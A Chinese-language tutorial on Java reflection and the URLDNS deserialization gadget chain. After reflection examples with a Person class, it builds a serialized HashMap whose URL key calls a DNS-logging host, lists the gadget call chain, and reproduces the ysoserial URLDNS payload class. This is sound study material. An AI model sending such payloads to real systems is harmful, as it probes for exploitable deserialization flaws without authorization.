Java反序列化1-反射与URLDNS链

public class Person implements Serializable { // implements 实现 Serializable序列化接口 说明支持被反序列化
    // private 是一个Java的规范，定义属性时，不能直接控制这个类的属性，要通过Getter/Setter对数据进行获取和设置
    private Integer id; // 设置一个int类型的字段id
    private String name; // 设置一个string类型的name字段
    // 全参构造函数
    public Person(Integer id, String name) {
        this.id = id;
        this.name = name;
    }
	// 无参构造函数(默认)
    public Person() {
    }
	// Getter/Setter方法，用于对私有的属性设置和获取值，public可以提供其他地方调用
    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    // 自定义的一个方法，用来被调用
    public void canDo(){
        System.out.println("人能与运动");
    }
    // 用于调试输出，对Object的toString方法重写
    @Override
    public String toString() {
        return "Person{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }
}

// 1.获取Person的Class对象
Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
// 2. 调用Person的无参构造函数
Constructor<?> constructor1 = clazz.getConstructor();
Object o1 = constructor1.newInstance();
System.out.println("o1地址：" + o1);
System.out.println("o1是否为Person对象：" + (o1 instanceof Person));
// 或者直接用默认的实例化
Object o2 = clazz.newInstance();
System.out.println("o2地址：" + o2);
System.out.println("o2是否为Person对象：" + (o1 instanceof Person));
System.out.println("o1与o2是否相同" + o1 == o2);

Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Person person = (Person) clazz.newInstance();
Object person1 =  clazz.newInstance();
// 正向设置值获取值
person.setId(1);
person.setName("zhangsan");
person.canDo();
System.out.println(person);
// 通过反射设置值并获取方法
clazz.getMethod("setId", Integer.class).invoke(person1, 2);
clazz.getMethod("setName", String.class).invoke(person1, "lisi");
clazz.getMethod("canDo").invoke(person1);
Field[] declaredFields = clazz.getDeclaredFields();
// 遍历属性名
for (Field declaredField : declaredFields){
    System.out.println(declaredField.getType() + " " + declaredField.getName());
}
System.out.println(person1);

Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Object o = clazz.getConstructor(Integer.class, String.class).newInstance(1, "zhangsan");
System.out.println(o instanceof Person);
System.out.println(o);

Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Object o = clazz.getConstructor(Integer.class, String.class).newInstance(1, "zhangsan");
Integer id = (Integer) clazz.getMethod("getId").invoke(o);
System.out.println("id：" + id);
clazz.getMethod("canDo").invoke(o);
clazz.getMethod("setId", Integer.class).invoke(o, 2);
System.out.println(o);
// 或者直接为私有属性设置固定值
Field id1 = clazz.getDeclaredField("id");
//  Integer integer = (Integer) id1.get(o); // 这个是执行不了的，没有私有属性设置Accessible为true
//  System.out.println(integer);
id1.setAccessible(true);
System.out.println("之前的id：" + id1.get(o));
id1.set(o, 3);
clazz.getMethod("getId").invoke(o);
System.out.println(o);

// 1.获取Person的Class对象
//  Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Class<Person> clazz = Person.class; // 差别只在这里

// 1.获取Person的Class对象
// Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Class<? extends Person> clazz = new Person().getClass();

 // 1.方式1：通过类.class找他的ClassLoader去加载Class   
Class<?> clazz1 = ReflectionTest4.class.getClassLoader().loadClass("com.example.reflection.entity.Person");
// 2. 方式2： 通过对象.getClass找他的ClassLoader去加载Class
Class<?> clazz2 = new ReflectionTest4().getClass().getClassLoader().loadClass("com.example.reflection.entity.Person");
// 3. 方式3：通过Class.forname()找他的ClassLoader去加载Class(没必要)
Class<?> clazz3 = Class.forName("com.example.reflection.main.ReflectionTest4").getClassLoader().loadClass("com.example.reflection.entity.Person");

HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://r2t55a.dnslog.cn");
Class<? extends URL> clazz = url.getClass();
Field code = clazz.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url, 1); // 为了让getHostName()不执行
hashMap.put(url, 1);
code.set(url, -1);

FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashMap);
fileOutputStream.close();
objectOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object o = objectInputStream.readObject();
System.out.println(o);
objectInputStream.close();
fileInputStream.close();

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); 
                URL u = new URL(null, url, handler); 
                ht.put(u, url); 
                Reflections.setFieldValue(u, "hashCode", -1); 
                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

    // 此处对URLStreamHandler继承是为了防止有些代码检测此类，
        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}